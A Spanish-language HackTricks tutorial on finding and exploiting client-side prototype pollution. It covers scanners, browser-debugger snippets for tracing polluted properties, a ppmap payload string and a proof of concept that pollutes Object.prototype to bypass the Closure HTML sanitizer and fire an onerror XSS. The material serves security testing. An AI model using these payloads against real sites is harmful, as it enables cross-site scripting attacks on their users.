Client Side Prototype Pollution

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Descubriendo usando Herramientas Automáticas

Las herramientas https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap y https://github.com/kosmosec/proto-find se pueden utilizar para encontrar vulnerabilidades de polución de prototipos.

Además, también podrías utilizar la extensión del navegador PPScan para escanear automáticamente las páginas a las que accedes en busca de vulnerabilidades de polución de prototipos.

Depuración de dónde se utiliza una propiedad

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Encontrar la causa raíz de la Vulnerabilidad de la Polución del Prototipo

Una vez que se ha identificado una vulnerabilidad de polución del prototipo con alguna de las herramientas, y si el código no es demasiado complejo, es posible encontrar la vulnerabilidad buscando palabras clave como location.hash, decodeURIComponent, o location.search en las Herramientas para Desarrolladores de Chrome. Este enfoque te permite identificar la sección vulnerable del código JavaScript.

Para bases de código más grandes y complejas, un método directo para descubrir el código vulnerable implica los siguientes pasos:

  1. Utilizar una herramienta para identificar una vulnerabilidad y obtener un payload diseñado para establecer una propiedad en el constructor. Un ejemplo proporcionado por ppmap podría verse así: constructor[prototype][ppmap]=reserved.

  2. Establecer un punto de interrupción en la primera línea de código JavaScript que se ejecutará en la página. Actualiza la página con el payload, deteniendo la ejecución en este punto de interrupción.

  3. Mientras la ejecución de JavaScript está detenida, ejecuta el siguiente script en la consola de JS. Este script indicará cuándo se crea la propiedad 'ppmap', ayudando a localizar su origen:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Navega de regreso a la pestaña de Sources y selecciona "Reanudar la ejecución del script". El JavaScript continuará ejecutándose y la propiedad 'ppmap' estará contaminada como se esperaba. Utilizando el fragmento proporcionado se facilita la identificación de la ubicación exacta donde se contamina la propiedad 'ppmap'. Al examinar la Pila de Llamadas, se pueden observar diferentes pilas donde ocurrió la contaminación.

Al decidir qué pila investigar, suele ser útil apuntar a pilas asociadas con archivos de bibliotecas de JavaScript, ya que la contaminación de prototipos ocurre con frecuencia dentro de estas bibliotecas. Identifica la pila relevante examinando su conexión con los archivos de biblioteca (visibles en el lado derecho, similar a una imagen proporcionada como guía). En escenarios con múltiples pilas, como las de las líneas 4 y 6, la elección lógica es la pila en la línea 4, ya que representa la ocurrencia inicial de la contaminación y, por lo tanto, la causa raíz de la vulnerabilidad. Al hacer clic en la pila, te dirigirá al código vulnerable.

Encontrar Gadgets de Script

El gadget es el código que será abusado una vez que se descubre una vulnerabilidad de PP.

Si la aplicación es simple, podemos buscar palabras clave como srcdoc/innerHTML/iframe/createElement y revisar el código fuente para verificar si conduce a la ejecución de JavaScript. A veces, las técnicas mencionadas pueden no encontrar gadgets en absoluto. En ese caso, la revisión pura del código fuente revela algunos buenos gadgets como el siguiente ejemplo.

Ejemplo de encontrar un gadget de PP en el código de la biblioteca Mithil

Consulta este artículo: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Recompilación de payloads para bibliotecas vulnerables

Bypass de Sanitizadores HTML a través de PP

Esta investigación muestra gadgets de PP para burlar las sanitizaciones proporcionadas por algunas bibliotecas de sanitizadores HTML:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización